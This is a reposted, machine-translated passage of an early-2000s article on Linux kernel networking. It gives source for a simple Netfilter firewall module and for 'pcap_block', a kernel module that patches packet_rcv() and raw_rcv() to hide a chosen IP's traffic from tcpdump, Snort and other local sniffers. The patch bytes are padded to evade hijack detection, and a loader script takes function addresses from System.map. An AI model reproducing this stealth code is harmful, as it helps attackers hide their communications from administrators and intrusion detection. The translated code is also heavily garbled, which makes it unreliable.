(Reproduced) Deeper Linux Network Core Stack (below)

xiaoxiao2021-03-06  73

Deeper Linux Network Core Stack (below)

Transfer from: http://www.xfocus.net: 2003-08-22 Article Properties: Translation article Submitted: Raodan (Raod_at_30san.com)

- [6 - Hide network communication in LibPCAP, short description, how to modify Linux kernels, enabling network communication with the pre-defined criteria to sniffing tools to the local packets to sniffing tools. The last thing column is the code that can be run, it implements the function of hiding all the packets from or going to the specified IP address. Ok, let's start ... ---- [6.1 - sock_packet, SOCK_RAW and LibPCAP For system administrators, most useful software is more useful to be called "packet sniffer" in broad classification Software. Two most typical general packet sniffer are tcpdump (1) and ETHEREAL (1). Both software use the libpcap library (with TCPDUMP release in References [1]) to grab the original packet. The network intrusion detection system (NIDS) also uses the libpcap library. Snort requires libpcap, libnids - a NIDS development library that provides IP recombination and TCP stream tracking (see References [2]), is also true. Under the Linux system, the libppcap library uses the SOCK_PACKET interface. Packet socket is a special socket that can be used to happen and receive the original packet of the link layer. About PakeT sockets have a lot of topics, but because this section discusses how to hide them rather than how to use them, interested readers can go directly to the Packet (7) handbook. For discussion among this article, you only need to understand that the Packet socket is used by the libpcap application to get the original packet of entering or departing the local host. When the core network stack receives a packet, check if the packet is a packet of Packet socket. If so, the data is submitted to those that are interested in it. If not, the packet continues its journey, enters TCP, UDP, or other types of sockets. The same is true for the socket type of the SOCK_RAW type. The original socket is very similar to the Packet socket, but the original socket does not provide a chain header. An example of a utility that uses the original socket is my SYNALERT program, see References [3] (please forgive me for inserting the topic here :). At this point, you should have learned that the packet sniffing software under Linux uses the libpcap library. LibPCap Using the Packet Sockets in Linux to get the original packet containing the link layer header. At the same time, the original socket is mentioned, which provides a method of applying the user space to obtain a packet containing the IP header. The next section will discuss how to hide network communications from these Packet sockets and original sockets through the Linux core module. ------ [6.2 Give the wolf to the sheepski when you receive the packet and send it to a Packet socket, the packet_rcv () function is called. This function can be found in Net / Packet / AF_PACKET.C, and packet_rcv () is responsible for making packets through all socket filters applied to the destination socket, and finally submit it to the user space. In order to hide packets from the Packet socket, we need to block all specific data packets from calling the packet_rcv () function. How do we do this? Of course, it is an excellent OL function hijacked. The basic operation of the function hijacker is: If we know a kernel function, even those that are not exported, the entry address, we can relocate this function to other locations before running the actual code. In order to achieve this, we must first save its original command bytes from this function, and then replace them to jump to the absolute jump instructions performed at our code.

The operation is implemented as follows: MOVL (Address Our Function),% EAX JMP * EAX these instructions 16 credits are as follows (assuming our function address 0): 0xB8 0x00 0x00 0x00 0x00 0xff 0xE0 If we In the initialization of the Linux core module, replace the function address in the previous example to the address of our hook function, and we can make our hook function to run. When we want to run the original function, we only need to recover the original instructions at the beginning, call the function and replace our hijack code. Simple and effective. Silvio Cesare has been written in a post, telling how to implement the kernel function, see References [4]. To hide the packet from the Packet socket, we must first write a hook function to check if the packet meets our hidden standards. If satisfied, then our hook function returns 0 to its call function, and packet_rcv () will never be called. If packet_rcv () will never be called, this packet will never be submitted to the Packet socket of the user space. Note that the packet is discarded for the "packet" socket. If we want to filter the FTP packet sent to the Packet socket, the FTP server's TCP socket can still receive these packets. Everything we do is just to make the sniffing software running in this unit can't see these packets. The FTP server is still able to handle and record connections. Theoretically, so much, the usage of the original socket can be obtained. Different is that we need hook is the RAW_RCV () function (found in Net / IPv4 / Raw.c). The next section will give and discuss the sample code of a Linux core module, which hijaches the packet_rcv () function and the RAW_RCV () function, hides any packets from or to our designated IP address. - [7 - Conclusion I hope you now have a preliminary understanding of Netfilter, how to use it and what you can use. You should also have some knowledge that makes specific network communications from running in the sniffing software of this unit. If you need a TAR package of the source code involved in this article, please send me email. I am also happy to receive any correct, criticism, or suggestions. Ok, leave everything to you and your imagination, and do something interesting to show here! - [A - Lightweight Firewall ---- [A.1 - Overview Lightweight Firewall (LWFW) is a simple kernel module for demonstrating our basic packets contained in Section 4. technology. LWFW also provides a control interface through the IOCTL () system call. Since the source code of LWFW has already had enough documents, I only give it a simple overview of how it works here. When the LWFW module is loaded, its first task is to try registration control settings. Note You need to create a character device file under / dev before the IOCTL () control interface of the LWFW. If the control device is successfully registered, the "In Use" flag is cleared and the function of the NF_IP_PRE_ROUTE is registered. Clear the function to perform the opposite operation. LWFW provides three basic options for packet discarding. The following sequence is listed in the order: - Source Interface - Source IP Address - Destination TCP Port These rules are completed by the IOCTL () interface. When a packet is received, the LWFW checks according to the rules we set. If you match any of these rules, the hook function will return nf_drop, then Netfilter will quietly discard this packet.

Otherwise, the hook function returns NF_ACCEPT, and the packet will continue its journey. Finally, it is necessary to mention the statistical log of LWFW. No matter where the packet enters the Hook function, the LWFW will accumulate the number of packets received. A separate rule check function is responsible for adding their respective discarding packets. Note that when the value of the rule is changed, the count of its discarding packet is reset to 0. The LWFWStats program uses LWFW_GET_STATS this IOCTL to get a copy of the statistics structure and display its content.

---- [A.2 - Source code: lwfw.c < > LWFW / LWFW.C / * Light-Weight Fire Wall. Simple Firewall Utility Based on * Netfilter for 2.4. Designed for Educational Purposes. * * Written Bioforge - March 2003. * / # define module # deflude __kernel __ # include #include #include #include #include #include #include #include #include #include #include #include #include #include #include # include "lwfw.h" / * Local function prototypes * / static int set_if_rule (char * name); static int set_ip_rule (unsigned int ip); static int set_port_rule (unsigned short port); static int check_ip_packet (struct sk_buff * skb); static int check_tcp_packet (struct sk_buff * skb); static int copy_stats (struct lwfw_stats * statbuff); / * Some function prototypes to be used by lwfw_fops below * / static int lwfw_ioctl (str. uct inode * inode, struct file * file, unsigned int cmd, unsigned long arg); static int lwfw_open (struct inode * inode, struct file * file); static int lwfw_release (struct inode * inode, struct file * file); / * Various flags used by the module * // * This flag makes sure that only one instance of the lwfw device * can be in use at any one time * / static int lwfw_ctrl_in_use = 0;. / * This flag marks whether LWFW should actually Attempt rule checking. * if this is zero dam all packets. * / static int active = 0; / * specifies options for the lwfw module * / static unsigned int LWFW_Options =

. (LWFW_IF_DENY_ACTIVE | LWFW_IP_DENY_ACTIVE | LWFW_PORT_DENY_ACTIVE); static int major = 0; / * Control device major number * // * This struct will describe our hook procedure * / struct nf_hook_ops nfkiller; / * Module statistics structure * / static struct lwfw_stats lwfw_statistics = {0, 0, 0, 0, 0}; / * actual rule 'definitions'. * // * Todo: One day lwfw might actually support Many Simultaneous Rules. * Just As Soon as i figure Out the list_head mechanism ... * / static char * deny_if = null; / * interface to deny * / static unsigned int deny_ip = 0x00000000; / * ip address to deny * / static unsigned short deny_port = 0x0000; / * TCP port to deny * // * * THIS is the interface device's file_operations structure * / struct file_operations lwfw_fops = {NULL, NULL, NULL, NULL, NULL, NULL, lwfw_ioctl, NULL, lwfw_open, NULL, lwfw_release, NULL / * Will be NULL'ed from here ... * / }; MODULE_AUTHOR ( "bioforge"); MODULE_DESCRIPTION ( "Light-Weight Firewall for Linux 2.4"); / ** This is the function that will be called by the hook * / unsigned int lwfw_hookfn (unsigned int hooknum, struct sk_buff ** skb, const struct net_device * in, const struct net_device * out, int (* okfn) (struct sk_buff *)) {unsigned int ret = NF_ACCEPT; / * If LWFW is not currently active, immediately return ACCEPT * / if (active! Return nf_accept; lwfw_statistics.total_seen ; / * check the interface rule first * / if (deny_if && deny_if_active) {if (Strcmp (in-> name, deny_if) ==

0) {/ * Deny this interface * / lwfw_statistics.if_dropped ; lwfw_statistics.total_dropped ; return NF_DROP;}} / * Check the IP address rule * / if (deny_ip && DENY_IP_ACTIVE) {ret = check_ip_packet (* skb); if (ret ! = NF_ACCEPT) return ret;} / * Finally, check the TCP port rule * / if (deny_port && DENY_PORT_ACTIVE) {ret = check_tcp_packet (* skb);! if (ret = NF_ACCEPT) return ret;} return NF_ACCEPT; / * We are happy to keep the packet * /} / * Function to copy the LWFW statistics to a userspace buffer * / static int copy_stats (struct lwfw_stats * statbuff) {NULL_CHECK (statbuff); copy_to_user (statbuff, & lwfw_statistics, sizeof (struct lwfw_stats) ); return 0;.} / * Function that compares a received TCP packet's destination port * with the port specified in the Port Deny Rule If a processing * error occurs, NF_ACCEPT will be returned so that the packet is * not lost * /. Static int check_tcp_packet (Struct Sk_b uff * skb) {/ * Seperately defined pointers to header structures are used * to access the TCP fields because it seems that the so-called * transport header from skb is the same as its network header TCP packets. * If you do not Believe Me Then Print The Addresses of SKB-> NH.IPH * and SKB-> H.th. * It Would Have Been Nicer if The Network Header Only Was IP and * The Transport Header Was TCP But What CAN you do? * / Struct TCPHDR * THEAD; / * WE DON 'THENY NULL POINTERS in the chain to the TCP header. * / if (! SKB) RETURN NF_ACCEPT; if (! (! (! (! (! (!) RETURN NF_ACCEPT; / * Be Sure this is a tcp packet first * / if (SKB-> NH.IPH->

Protocol! = ipproto_tcp) {RETURN NF_ACCEPT;} THEAD = (STRUCT TCPHDR *) (SKB-> DATA (SKB-> NH.IPH-> IHL * 4)); / * Now Check The Destination Port * / IF ((( thead-> dest) == deny_port) {/ * Update statistics * / lwfw_statistics.total_dropped ; lwfw_statistics.tcp_dropped ; return NF_DROP;} return NF_ACCEPT;} / * Function that compares a received IPv4 packet's source address * with the address specified in the IP Deny Rule. If a processing * error occurs, NF_ACCEPT will be returned so that the packet is * not lost. * / static int check_ip_packet (struct sk_buff * skb) {/ * We do not want any NULL pointers in the chain to The ip header. * / if (! (! (! (! (! (skb-> nh.iph)) Return nf_accept; if (SKB-> NH.IPH-> Saddr == DENY_IP) {/ * matches the address BARF. * / LWFW_STATISTISTISTICS.IP_DROPPED ; / * update the statistics * / lwfw_statistics.total_dropped ; Return nf_drop;} return nf_accept;} static int set_ IF_Rule (char * name) {int RET = 0; char * if_dup; / * duplicate interface * / / / * make sure the name is non-null * / null_check (name); / * free any previously saved interface name * / if (DENY_IF) {kfree (deny_if); deny_if = null;} if ((if_dup = kmalloc (Strlen) 1, GFP_kernel)) == NULL) {RET = -Enomem;} else {MEMSET IF_DUP, 0x00, Strlen ((char *) Name) 1); Memcpy (if_dup, (char *) Name, Strlen ((char *) Name));} DENY_IF = if_dup; lwfw_statistics.if_dropped = 0; / * RESET Drop count for if rule * / printk ("

LWFW: set to deny from interface:% s / n ", deny_if); return ret;} static int set_ip_rule (unsigned int = ip; lwfw_statistics.ip_dropped = 0; / * reset drop count for ip rule * / Printk ("LWFW: set to deny from ip address:% d.% d.% d.% d / n", IP & 0x000000FF, (IP & 0x0000FF00) >> 8, (IP & 0x00FF0000) >> 16, IP & 0xFF000000) >> 24); RETURN 0;} static int set_port_rule (unsigned short port) {deny_port = port; lwfw_statistics.tcp_dropped = 0; / * reset Drop Count for tcp rule * / printk ("LWFW: set to deny For TCP Port:% D / N ", ((Port & 0xFF00) >> 8 | (Port & 0x00FF) << 8)); Return 0;} / ************* ***************************************** / / * * File Operations Functions for Control Device * / Static Int LWFW_IOCTL (Struct Inode * Inode, Struct File, unsigned long arg) {int RET = 0; switch (cmd) {copy lwfw_nd_vers: return lwfw_vers; case lwfw_activate: {active = 1; Printk ("LWFW: AC Tivated./N "); if (! deny_if&&! deny_ip&&! deny_port) {Printk (" LWFW: no deny options set./n ");} Break;} case lwfw_deactivate: {active = Active; Printk (" LWFW: deActiVated./N "); Break;} case lwfw_get_stats: {ret = copy_stats ((struct lwfw_stats *) arg); Break;} case lwfw_deny_if: {ret = set_if_rule ((char *) arg); break;} Case LWFW_DENY_IP: {RET = SET_IP_RULE ((unsigned int) arg); Break;} case lwfw_deny_port: {ret = set_port_rule ((unsigned short) arg; Break;

} Default: ret = -EBADRQC;}; return ret;} / * Called whenever open () is called on the device file * / static int lwfw_open (struct inode * inode, struct file * file) {if (lwfw_ctrl_in_use) {return -EBUSY;} else {MOD_INC_USE_COUNT; lwfw_ctrl_in_use ; return 0;} return 0;} / * Called whenever close () is called on the device file * / static int lwfw_release (struct inode * inode, struct file * file) {lwfw_ctrl_in_use ^ = LWFW_CTRL_IN_USE; MOD_DEC_USE_COUNT; RETURN 0;} / ************************************************************** ***** // ** Module initialisation and cleanup follow ... * / int init_module () {/ * Register the control device, / dev / lwfw * / SET_MODULE_OWNER (& lwfw_fops); / * Attempt to register the LWFW control Device * / if ((Major = register_chrdev (lwfw_major, lwfw_name, & lw_fops) <0) {Printk ("LWFW: Failed Registering Control Device! / N"); Printk ("LWFW: Module Installation Aborted./N"); Return Major;} / * make su re the usage marker for the control device is cleared * / lwfw_ctrl_in_use ^ = lwfw_ctrl_in_use; printk ( "/ nLWFW: Control device successfully registered./n"); / * Now register the network hooks * / nfkiller.hook = lwfw_hookfn; nfkiller. hooknum = NF_IP_PRE_ROUTING; / * First stage hook * / nfkiller.pf = PF_INET; / * IPV4 protocol hook * / nfkiller.priority = NF_IP_PRI_FIRST; / * Hook to come first * / / * And register ... * / nf_register_hook (& nfkiller Printk ("LWFW: Network Hooks Success Installed./N"); Printk ("LWFW: Module Installation Successful./N"); Return 0;} void cleanup_module () {int Ret;

/ * Remove IPV4 hook * / nf_unregister_hook (& nfkiller); / * Now unregister control device * / if ((ret = unregister_chrdev (LWFW_MAJOR, LWFW_NAME)) = 0!) {Printk ( "LWFW: Removal of module failed / n!" } / * If anything, free it is deny rules, free it is * / if (deny_if) KFree (deny_if); Printk ("LWFW: Removal of module successful./n" );} ------- - [A.3 - Header: lwfw.h < > LWFW / LWFW.H / * Include File for the Light-Weight Fire Wall LKM. * * A Very Simple Netfilter Module That Drops Backets Based On Either * Their . incoming interface or source IP address * * Written by bioforge - March 2003 * / # ifndef __LWFW_INCLUDE __ # define __LWFW_INCLUDE __ / * NOTE: The LWFW_MAJOR symbol is only made available for kernel code * Userspace code has no business knowing about it * /.. # Define LWFW_NAME "LWFW" / * Version of LWFW * / # Define LWFW_VERS 0X0001 / * 0.1 * // * Definition of the LWFW_TALKATIVE SYMBOL Controls WHETHER LWFW WILL * Print Anything with printk (). THIS i s included for debugging purposes. * / # define LWFW_TALKATIVE / * These are the IOCTL codes used for the control device * / # define LWFW_CTRL_SET 0xFEED0000 / * The 0xFEED ... prefix is ​​arbitrary * / # define LWFW_GET_VERS 0xFEED0001 / * Get the version of LWFM * / # define LWFW_ACTIVATE 0xFEED0002 # define LWFW_DEACTIVATE 0xFEED0003 # define LWFW_GET_STATS 0xFEED0004 # define LWFW_DENY_IF 0xFEED0005 # define LWFW_DENY_IP 0xFEED0006 # define LWFW_DENY_PORT 0xFEED0007 / * Control flags / Options * / # define LWFW_IF_DENY_ACTIVE 0x00000001 # define LWFW_IP_DENY_ACTIVE 0x00000002 # define LWFW_PORT_DENY_ACTIVE 0x00000004 / * Statistics Structure for LWFW. * Note That WHENEVER A Rule '

. S condition is changed the related * xxx_dropped field is reset * / struct lwfw_stats {unsigned int if_dropped; / * Packets dropped by interface rule * / unsigned int ip_dropped;. / * Packets dropped by IP addr rule * / unsigned int tcp_dropped; / * packets dropped by TCP port rule * / unsigned long total_dropped; / * Total packets dropped * / unsigned long total_seen; / * Total packets seen by filter * /}; / * * From here on is used solely for the actual kernel module * / # ifdef __KERNEL __ # define LWFW_MAJOR 241 / * This exists in the experimental range * // * This macro is used to prevent dereferencing of NULL pointers. If * a pointer argument is NULL, this will return -EINVAL * / # define NULL_CHECK ( ptr) / if ((ptr) == NULL) return -EINVAL / * Macros for accessing options * / # define DENY_IF_ACTIVE (lwfw_options & LWFW_IF_DENY_ACTIVE) #define DENY_IP_ACTIVE (lwfw_options & LWFW_IP_DENY_ACTIVE) #define DENY_PORT_ACTIVE (lwfw_options & LWFW_PORT_D Eny_Active) #ENDIF / * __KERNEL__ * / # endif <-> < > LWFW / makefilecc = egcscflags = -wall -o2objs = lwfw.oco: $ (cc) -c $ <-o $ @ $ (cflags) All: $ (OBJS) Clean: RM-RF * .O RM -RF. / * ~ <-> - [B - Section 6 Source code here is given a hijacking packet_rcv () and Raw_RCV ( The function is hidden from or to the simple module of the packet of the IP address we specified. The default IP address is set to 127.0.0.1, but it can be changed by changing the value of #define IP. There is also a Bash script that uses the entry address of the required function from the System.map file, and uses these addresses as parameters to run the Insmod command in need. This load script is written by GREM. Originally used in my MOD-OFF project, it is easy to modify it to make it suitable for the modules given here. Thanks again. GREM. The given module is only a principle code, and there is no way to hide any module. Remember, although the module hides in the sniffer from the unit, the sniffer on another host on the same local area can still see these packets. From the contents listed in this module, smart readers can find all things needed when designing a filter function that blocks any kind of packets.

I have successfully used the technology mentioned in the article to hide the controls and information used in my Linux core module project to obtain packets. < > pcaphide / pcap_block.c / * Kernel hack that will hijack the packet_rcv () function * which is used to pass packets to Libpcap applications * that use PACKET sockets. Also hijacks the raw_rcv () * function. This is used to Pass Packets To Applications * That Open Raw Sockets. * * Written by Bioforge - 30th June, 2003 * / # Define Module # deflude #include #include > #include #include #include / * for struct ip * / # include / * for eth_p_ip * / * for Page_offset * // * * ip address to hide 127.0.0.1 in nbo for intel * / # define ip htonl (0x7f000001 ) / * Function pointer for original packet_rcv () * / static int (* pr) (struct sk_buff * skb, struct net_device * dev, struct packet_type * pt); MODULE_PARM (pr, "i"); / * Retrieved as insmod parameter * // * Function Pointer for Origina l Raw_rcv () * / static int (* rr) (Struct Sock * SK, STRUCT SK_BUFF * SKB); Module_Parm (RR, "I"); / * Spinlock Used for the Parts where we un / hijack packet_rcv () * / static spinlock_t hijack_lock = SPIN_LOCK_UNLOCKED; / * Helper macros for use with the Hijack spinlock * / # define hIJACK_LOCK spin_lock_irqsave (& hijack_lock, / sl_flags) #define HIJACK_UNLOCK spin_unlock_irqrestore (& hijack_lock, / sl_flags) #define CODESIZE 10 / * Original and hijack code buffers. * Note That The Hijack Code Also Provides 3 Additional * Bytes (Inc Eax; NOP;

Dec EAX) To try and throw * Simple Hijack Detection Techniques That Just Look for * A Move and a just * // * for packet_rcv () * / static unsigned char pr_code [CODESIZE] = "/ xb8 / x00 / x00 / x00 / x00 "" / x40 / x90 / x48 "" / xff / xe0 "; static unsigned char pr_orig [code]; / * for raw_rcv () * / static unsigned char r_code [CODESIZE] =" / xb8 / x00 / x00 / X00 / x00 "" / x40 / x90 / x48 "" / xff / xe0 "; static unsigned char r_orig [code]; / * replacement for packet_rcv (). this is currently setup to hide * all packets with a source or destination ip . address that we * specify * / int hacked_pr (struct sk_buff * skb, struct net_device * dev, struct packet_type * pt) {int sl_flags; / * Flags for spinlock * / int retval; / * Check if this is an IP packet going TO or COMING ADDRESS. * / IF (SKB-> protocol == htons (eth_p_ip)) / * ip packe T * / if (SKB-> NH.IPH-> Saddr == ip || SKB-> nh.iph-> DADDR == IP) Return 0; / * ignore this packet * / / * call original * / hijack_lock; Memcpy ((char *) PR, PR_ORIG, CODESize; RETVAL = Pr (SKB, DEV, PT); Memcpy ((char *) PR, Pr_code, CODESize; hijack_unlock; return rettval;} / * replacement for raw_rcv () . This is currently setup to hide * all packets with a source or destination IP address that we * specify * / int hacked_rr (struct sock * sock, struct sk_buff * skb) {int sl_flags;. / * Flags for spinlock * / int retval ;

/ * Check if this is an ip packet going to or coming from ip, hidden ip address. * / If (SKB-> protocol == htons (eth_p_ip)) / * ip packet * / if (SKB-> NH.IPH- > SADDR == ip || SKB-> NH.IPH-> DADDR == IP) Return 0; / * ignore this packet * / / * call original * / hijack_lock; memcpy ((char *) RR, RR_ORIG, CODESIZE) RETVAL = RR (SOCK, SKB); Memcpy ((char *) RR, RR_CODE, CODESize; hijack_unlock; return return;} int init_module () {int SL_Flags; / * flags for spinlock * / / / / * pr & rr set As module parameters. if zero or < >

PCAPHIDE / LOADER.SH #! / bin / sh # Written by Grem, 30th june 2003 # Hacked by Bioforge, 30th June 2003if ["$ 1" = ""]; the echo "USE: $ 0 "; exit Fimap = "$ 1" Pr = `cat $ map | grep -w" packet_rcv "| cut -c 1-16`rr =` cat $ map | grep -w "Raw_rcv" | CUT -C 1-16`IF [ "$ PR" = ""]; then pr= "=" = "=" = "=" =; "Fiecho" Insmod PCAP_BLOCK.O PR = 0x $ PR = 0x $ rr "# Now do the actual call to insmodinsmod pcap_block.o pr = 0x $ pr = 0x $ rR <-> < > PCAPHIDE / MAKEFILECC = GCCCFLAGS = -Wall -O2 -Fomit-frame-PointerInCludes = -i / usr / SRC / Linux / IncludeObjs = PCAP_BLOCK.OCO: $ (CC) -c $ <-O $ @ $ (cflags) all: $ (objs) Clean: rm -rf * .o rm -rf. / ~ -> ------ [Reference This appendix includes a list of references used in the process of writing this paper.

转载请注明原文地址:https://www.9cbs.com/read-92328.html

New Post(0)